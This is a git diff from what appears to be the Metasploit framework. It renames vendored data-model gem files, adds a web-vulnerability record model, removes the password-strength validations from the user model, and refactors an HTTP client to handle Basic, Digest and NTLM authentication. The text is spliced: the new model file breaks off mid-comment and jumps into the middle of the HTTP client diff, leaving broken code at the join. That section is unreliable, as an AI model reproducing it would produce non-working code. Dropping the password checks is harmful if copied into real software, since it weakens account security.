lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/listener.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/listener.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/loot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/loot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/macro.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/macro.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/mod_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/mod_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_action.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_action.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_arch.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_arch.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_author.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_author.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_mixin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_mixin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_platform.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_platform.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/nexpose_console.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/nexpose_console.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/note.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/note.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/profile.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/profile.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report_template.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report_template.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/route.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/route.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/service.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/service.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session_event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session_event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/task.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/task.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb similarity index 87% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb index bdc5baae21..c727f8507f 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/user.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb @@ -20,13 +20,6 @@ class Mdm::User < ActiveRecord::Base serialized_prefs_attr_accessor :time_zone, :session_key serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields) - # - # Validations - # - - validates :password, :password_is_strong => true - validates :password_confirmation, :password_is_strong => true - ActiveSupport.run_load_hooks(:mdm_user, self) end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_form.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_form.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_page.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_page.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_site.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_site.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb new file mode 100755 index 0000000000..5d9df893c7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb @@ -0,0 +1,191 @@ +# A Web Vulnerability found during a web scan or web audit. +# +# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) inside an initializer so that +# your patches are reloaded on each request in development mode for your Rails application. +# +# @example extending Mdm::WebVuln +# # config/initializers/mdm_web_vuln.rb +# ActiveSupport.on_load(:mdm_web_vuln) do +# def confidence_percentage +# "#{confidence}%" +# end +# end +class Mdm::WebVuln < ActiveRecord::Base + # + # CONSTANTS + # + + # A percentage {#confidence} that the vulnerability is real and not a false positive. 0 is not allowed because there + # shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding. + CONFIDENCE_RANGE = 1 .. 100 + + # Default value for {#params} + DEFAULT_PARAMS = [] + + # Allowed {#method methods}. + METHODS = [ + 'GET', + # XXX I don't know why PATH is a valid method when it's not an HTTP Method/Verb + 'PATH', + 'POST' + ] + + # {#risk Risk} is rated on a scale from 0 (least risky) to 5 (most risky). + RISK_RANGE = 0 .. 5 + + # + # Associations + # + + belongs_to :web_site, :class_name => 'Mdm::WebSite' + + # + # Attributes + # + + # @!attribute [rw] blame + # Who to blame for the vulnerability + # + # @return [String] + + # @!attribute [rw] category + # Category of this vulnerability. + # + # @return [String] + + # @!attribute [rw] confidence + # Percentage confidence scanner or auditor has that this vulnerability is not a false positive + # + # @return [Integer] 1% to 100% + + # @!attribute [rw] description + # Description of the vulnerability + # + # @return [String, nil] + + # @!attribute [rw] method + # HTTP Methods for request that found vulnerability. 'PATH' is also allowed even though it is not an HTTP Method. + # + # @return [String] + # @see METHODS + + # @!attribute [rw] name + # Name of the vulnerability + # + # @return [String] + + # @!attribute [rw] path + # Path portion of URL + # + # @return [String] + + # @!attribute [rw] payload + # Web audit payload that gets executed by the remote server. Used for code injection vulnerabilities. + # + # @return [String, nil] + + # @!attribute [rw] pname + # Name of parameter that demonstrates vulnerability + # + # @return [String] + + # @!attribute [rw] proof + # String that proves vulnerability, such as a code snippet, etc. + # + # @return [String] + + # @!attribute [rw] query + # The GET query. + # + # @return [String] + + # @!attribute [rw] request + # + # @return [String] + + # @!attribute [rw] risk + # {RISK_RANGE Risk} of leaving this vulnerability unpatched. + # + # @return [Integer] + + # + # Validations + # + + validates :category, :presence => true + validates :confidence, + :inclusion => { + :in => CONFIDENCE_RANGE + } + validates :method, + :inclusion => { + :in => METHODS + } + validates :name, :presence => true + validates :path, :presence => true + validates :pname, :presence => true + validates :proof, :presence => true + validates :risk, + :inclusion => { + :in => RISK_RANGE + } + validates :web_site, :presence => true + + # + # Serializations + # + + # @!attribute [rw] params + # Parameters sent as part of request + # + # @return [Array{ "X-MyHeader" => "value" }
+ # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
+ # @option opts 'proto' [String] protocol, default: HTTP
+ # @option opts 'query' [String] raw query string
+ # @option opts 'raw_headers' [Hash] HTTP headers
+ # @option opts 'uri' [String] the URI to request
+ # @option opts 'version' [String] version of the protocol, default: 1.1
+ # @option opts 'vhost' [String] Host header value
+ #
+ # @return [ClientRequest]
def request_raw(opts={})
- c_enc = opts['encode'] || false
- c_uri = opts['uri'] || '/'
- c_body = opts['data'] || ''
- c_meth = opts['method'] || 'GET'
- c_prot = opts['proto'] || 'HTTP'
- c_vers = opts['version'] || config['version'] || '1.1'
- c_qs = opts['query']
- c_ag = opts['agent'] || config['agent']
- c_cook = opts['cookie'] || config['cookie']
- c_host = opts['vhost'] || config['vhost'] || self.hostname
- c_head = opts['headers'] || config['headers'] || {}
- c_rawh = opts['raw_headers']|| config['raw_headers'] || ''
- c_conn = opts['connection']
- c_auth = opts['basic_auth'] || config['basic_auth'] || ''
-
- # An agent parameter was specified, but so was a header, prefer the header
- if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent')
- c_ag = nil
- end
+ opts = self.config.merge(opts)
- uri = set_uri(c_uri)
-
- req = ''
- req << set_method(c_meth)
- req << set_method_uri_spacer()
- req << set_uri_prepend()
- req << (c_enc ? set_encode_uri(uri) : uri)
-
- if (c_qs)
- req << '?'
- req << (c_enc ? set_encode_qs(c_qs) : c_qs)
- end
-
- req << set_uri_append()
- req << set_uri_version_spacer()
- req << set_version(c_prot, c_vers)
- req << set_host_header(c_host)
- req << set_agent_header(c_ag)
-
-
- if (c_auth.length > 0)
- req << set_basic_auth_header(c_auth)
- end
-
- req << set_cookie_header(c_cook)
- req << set_connection_header(c_conn)
- req << set_extra_headers(c_head)
- req << set_raw_headers(c_rawh)
- req << set_body(c_body)
-
- req
+ opts['ssl'] = self.ssl
+ opts['cgi'] = false
+ opts['port'] = self.port
+
+ req = ClientRequest.new(opts)
end
#
# Create a CGI compatible request
#
- # Options:
- # - agent: User-Agent header value
- # - basic_auth: Basic-Auth header value
- # - connection: Connection header value
- # - cookie: Cookie header value
- # - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+
- # - data: HTTP data (only useful with some methods, see rfc2616)
- # - encode: URI encode the supplied URI, default: false
- # - encode_params: URI encode the GET or POST variables (names and values), default: true
- # - headers: HTTP headers as a hash, e.g. { "X-MyHeader" => "value" }
- # - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
- # - proto: protocol, default: HTTP
- # - query: raw query string
- # - raw_headers: HTTP headers as a hash
- # - uri: the URI to request
- # - vars_get: GET variables as a hash to be translated into a query string
- # - vars_post: POST variables as a hash to be translated into POST data
- # - version: version of the protocol, default: 1.1
- # - vhost: Host header value
+ # @param (see #request_raw)
+ # @option opts (see #request_raw)
+ # @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+
+ # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
+ # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
+ # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
#
+ # @return [ClientRequest]
def request_cgi(opts={})
- c_enc = opts['encode'] || false
- c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false)
- c_cgi = opts['uri'] || '/'
- c_body = opts['data'] || ''
- c_meth = opts['method'] || 'GET'
- c_prot = opts['proto'] || 'HTTP'
- c_vers = opts['version'] || config['version'] || '1.1'
- c_qs = opts['query'] || ''
- c_varg = opts['vars_get'] || {}
- c_varp = opts['vars_post'] || {}
- c_head = opts['headers'] || config['headers'] || {}
- c_rawh = opts['raw_headers'] || config['raw_headers'] || ''
- c_type = opts['ctype'] || 'application/x-www-form-urlencoded'
- c_ag = opts['agent'] || config['agent']
- c_cook = opts['cookie'] || config['cookie']
- c_host = opts['vhost'] || config['vhost']
- c_conn = opts['connection']
- c_path = opts['path_info']
- c_auth = opts['basic_auth'] || config['basic_auth'] || ''
- uri = set_cgi(c_cgi)
- qstr = c_qs
- pstr = c_body
-
- if (config['pad_get_params'])
- 1.upto(config['pad_get_params_count'].to_i) do |i|
- qstr << '&' if qstr.length > 0
- qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1))
- qstr << '='
- qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1))
- end
- end
-
- c_varg.each_pair do |var,val|
- qstr << '&' if qstr.length > 0
- qstr << (c_enc_p ? set_encode_uri(var) : var)
- qstr << '='
- qstr << (c_enc_p ? set_encode_uri(val) : val)
- end
-
- if (config['pad_post_params'])
- 1.upto(config['pad_post_params_count'].to_i) do |i|
- rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1)
- rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1)
- pstr << '&' if pstr.length > 0
- pstr << (c_enc_p ? set_encode_uri(rand_var) : rand_var)
- pstr << '='
- pstr << (c_enc_p ? set_encode_uri(rand_val) : rand_val)
- end
- end
-
- c_varp.each_pair do |var,val|
- pstr << '&' if pstr.length > 0
- pstr << (c_enc_p ? set_encode_uri(var) : var)
- pstr << '='
- pstr << (c_enc_p ? set_encode_uri(val) : val)
- end
-
- req = ''
- req << set_method(c_meth)
- req << set_method_uri_spacer()
- req << set_uri_prepend()
- req << (c_enc ? set_encode_uri(uri):uri)
-
- if (qstr.length > 0)
- req << '?'
- req << qstr
- end
-
- req << set_path_info(c_path)
- req << set_uri_append()
- req << set_uri_version_spacer()
- req << set_version(c_prot, c_vers)
- req << set_host_header(c_host)
- req << set_agent_header(c_ag)
-
- if (c_auth.length > 0)
- req << set_basic_auth_header(c_auth)
- end
-
- req << set_cookie_header(c_cook)
- req << set_connection_header(c_conn)
- req << set_extra_headers(c_head)
-
- req << set_content_type_header(c_type)
- req << set_content_len_header(pstr.length)
- req << set_chunked_header()
- req << set_raw_headers(c_rawh)
- req << set_body(pstr)
+ opts = self.config.merge(opts)
+
+ opts['ctype'] ||= 'application/x-www-form-urlencoded'
+ opts['ssl'] = self.ssl
+ opts['cgi'] = true
+ opts['port'] = self.port
+ req = ClientRequest.new(opts)
req
end
#
# Connects to the remote server if possible.
#
+ # @param t [Fixnum] Timeout
+ # @see Rex::Socket::Tcp.create
+ # @return [Rex::Socket::Tcp]
def connect(t = -1)
# If we already have a connection and we aren't pipelining, close it.
if (self.conn)
@@ -342,11 +205,31 @@ class Client
end
#
- # Transmit an HTTP request and receive the response
- # If persist is set, then the request will attempt
- # to reuse an existing connection.
+ # Sends a request and gets a response back
#
+ # If the request is a 401, and we have creds, it will attempt to complete
+ # authentication and return the final response
+ #
+ # @return (see #_send_recv)
def send_recv(req, t = -1, persist=false)
+ res = _send_recv(req,t,persist)
+ if res and res.code == 401 and res.headers['WWW-Authenticate']
+ res = send_auth(res, req.opts, t, persist)
+ end
+ res
+ end
+
+ #
+ # Transmit an HTTP request and receive the response
+ #
+ # If persist is set, then the request will attempt to reuse an existing
+ # connection.
+ #
+ # Call this directly instead of {#send_recv} if you don't want automatic
+ # authentication handling.
+ #
+ # @return (see #read_response)
+ def _send_recv(req, t = -1, persist=false)
@pipeline = persist
send_request(req, t)
res = read_response(t)
@@ -357,14 +240,329 @@ class Client
#
# Send an HTTP request to the server
#
+ # @param req [Request,ClientRequest,#to_s] The request to send
+ # @param t (see #connect)
+ #
+ # @return [void]
def send_request(req, t = -1)
connect(t)
conn.put(req.to_s)
end
+ # Resends an HTTP Request with the propper authentcation headers
+ # set. If we do not support the authentication type the server requires
+ # we return the original response object
+ #
+ # @param res [Response] the HTTP Response object
+ # @param opts [Hash] the options used to generate the original HTTP request
+ # @param t [Fixnum] the timeout for the request in seconds
+ # @param persist [Boolean] whether or not to persist the TCP connection (pipelining)
+ #
+ # @return [Response] the last valid HTTP response object we received
+ def send_auth(res, opts, t, persist)
+ if opts['username'].nil? or opts['username'] == ''
+ if self.username and not (self.username == '')
+ opts['username'] = self.username
+ opts['password'] = self.password
+ else
+ opts['username'] = nil
+ opts['password'] = nil
+ end
+ end
+
+ return res if opts['username'].nil? or opts['username'] == ''
+ supported_auths = res.headers['WWW-Authenticate']
+ if supported_auths.include? 'Basic'
+ opts['headers'] ||= {}
+ opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )
+ req = request_cgi(opts)
+ res = _send_recv(req,t,persist)
+ return res
+ elsif supported_auths.include? "Digest"
+ temp_response = digest_auth(opts)
+ if temp_response.kind_of? Rex::Proto::Http::Response
+ res = temp_response
+ end
+ return res
+ elsif supported_auths.include? "NTLM"
+ opts['provider'] = 'NTLM'
+ temp_response = negotiate_auth(opts)
+ if temp_response.kind_of? Rex::Proto::Http::Response
+ res = temp_response
+ end
+ return res
+ elsif supported_auths.include? "Negotiate"
+ opts['provider'] = 'Negotiate'
+ temp_response = negotiate_auth(opts)
+ if temp_response.kind_of? Rex::Proto::Http::Response
+ res = temp_response
+ end
+ return res
+ end
+ return res
+ end
+
+ # Converts username and password into the HTTP Basic authorization
+ # string.
+ #
+ # @return [String] A value suitable for use as an Authorization header
+ def basic_auth_header(username,password)
+ auth_str = username.to_s + ":" + password.to_s
+ auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
+ end
+
+ # Send a series of requests to complete Digest Authentication
+ #
+ # @param opts [Hash] the options used to build an HTTP request
+ #
+ # @return [Response] the last valid HTTP response we received
+ def digest_auth(opts={})
+ @nonce_count = 0
+
+ to = opts['timeout'] || 20
+
+ digest_user = opts['username'] || ""
+ digest_password = opts['password'] || ""
+
+ method = opts['method']
+ path = opts['uri']
+ iis = true
+ if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false)
+ iis = false
+ end
+
+ begin
+ @nonce_count += 1
+
+ resp = opts['response']
+
+ if not resp
+ # Get authentication-challenge from server, and read out parameters required
+ r = request_cgi(opts.merge({
+ 'uri' => path,
+ 'method' => method }))
+ resp = _send_recv(r, to)
+ unless resp.kind_of? Rex::Proto::Http::Response
+ return nil
+ end
+
+ if resp.code != 401
+ return resp
+ end
+ return resp unless resp.headers['WWW-Authenticate']
+ end
+
+ # Don't anchor this regex to the beginning of string because header
+ # folding makes it appear later when the server presents multiple
+ # WWW-Authentication options (such as is the case with IIS configured
+ # for Digest or NTLM).
+ resp['www-authenticate'] =~ /Digest (.*)/
+
+ parameters = {}
+ $1.split(/,[[:space:]]*/).each do |p|
+ k, v = p.split("=", 2)
+ parameters[k] = v.gsub('"', '')
+ end
+
+ qop = parameters['qop']
+
+ if parameters['algorithm'] =~ /(.*?)(-sess)?$/
+ algorithm = case $1
+ when 'MD5' then Digest::MD5
+ when 'SHA1' then Digest::SHA1
+ when 'SHA2' then Digest::SHA2
+ when 'SHA256' then Digest::SHA256
+ when 'SHA384' then Digest::SHA384
+ when 'SHA512' then Digest::SHA512
+ when 'RMD160' then Digest::RMD160
+ else raise Error, "unknown algorithm \"#{$1}\""
+ end
+ algstr = parameters["algorithm"]
+ sess = $2
+ else
+ algorithm = Digest::MD5
+ algstr = "MD5"
+ sess = false
+ end
+
+ a1 = if sess then
+ [
+ algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
+ parameters['nonce'],
+ @cnonce
+ ].join ':'
+ else
+ "#{digest_user}:#{parameters['realm']}:#{digest_password}"
+ end
+
+ ha1 = algorithm.hexdigest(a1)
+ ha2 = algorithm.hexdigest("#{method}:#{path}")
+
+ request_digest = [ha1, parameters['nonce']]
+ request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
+ request_digest << ha2
+ request_digest = request_digest.join ':'
+
+ # Same order as IE7
+ auth = [
+ "Digest username=\"#{digest_user}\"",
+ "realm=\"#{parameters['realm']}\"",
+ "nonce=\"#{parameters['nonce']}\"",
+ "uri=\"#{path}\"",
+ "cnonce=\"#{@cnonce}\"",
